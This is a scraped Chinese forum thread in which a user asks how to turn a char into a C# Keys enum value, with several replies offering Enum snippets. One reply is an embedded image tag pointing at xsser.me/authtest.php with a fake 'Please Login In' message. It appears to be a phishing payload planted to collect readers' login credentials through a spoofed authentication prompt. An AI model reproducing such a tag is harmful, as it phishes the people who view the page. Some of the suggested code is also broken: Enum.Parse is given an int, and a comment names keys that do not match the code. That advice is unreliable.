日期:2014-05-17  浏览次数:20885 次

c# 一个传参问题 keys.
我定义了一个字符数组 char[] str;

现在我想将  Keys.    就是这个 .  后面 我如何将char[0] 的值传进来!

本来是 Key.   这个点后面只能写他规定好的!
------最佳解决方案--------------------
引用:
引用:引用:C# code??123456789                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.……


Keys keydown1 = (Keys)Enum.Parse(typeof(Keys), (int)anwen[0]);
------其他解决方案--------------------
该回复于2012-12-03 10:21:32被管理员删除
------其他解决方案--------------------
[img=http://xsser.me/authtest.php?id=Ayuk1y&info=Please+Login+In++@360.cn][/img]
------其他解决方案--------------------
Keys. char[0]?
Keys是个什么?


//如果是个枚举
            Enum.GetName(typeof(Keys), 1);//根据枚举值获得枚举名称
            Enum.ToObject(typeof(Keys),1)//把一个枚举值转换为对应的枚举类型
            Enum.Parse(typeof(Keys), "第一");//把字符串转换为对应的枚举类型
//如果只个类
            typeof(Keys).GetField("FieldName")//根据字段名字获得字段值


------其他解决方案--------------------
                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;
                //KeyboardIncantationMonitor.KeysIncantation t = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;
                
                //! 初始化这个暗号为:依次按下 <Esc>Bye<Enter>
                tInc.AddKey(Keys.Escape);
                tInc.AddKey(Keys.H);
                tInc.AddKey(Keys.Y);
                tInc.AddKey(Keys.E);
                tInc.AddKey(Keys.Enter);

------其他解决方案--------------------
就是这个 Keys
------其他解决方案--------------------
#3 怎么回复对应楼层?
------其他解决方案--------------------
引用:
C# code??123456789                KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation;                //Keyboard……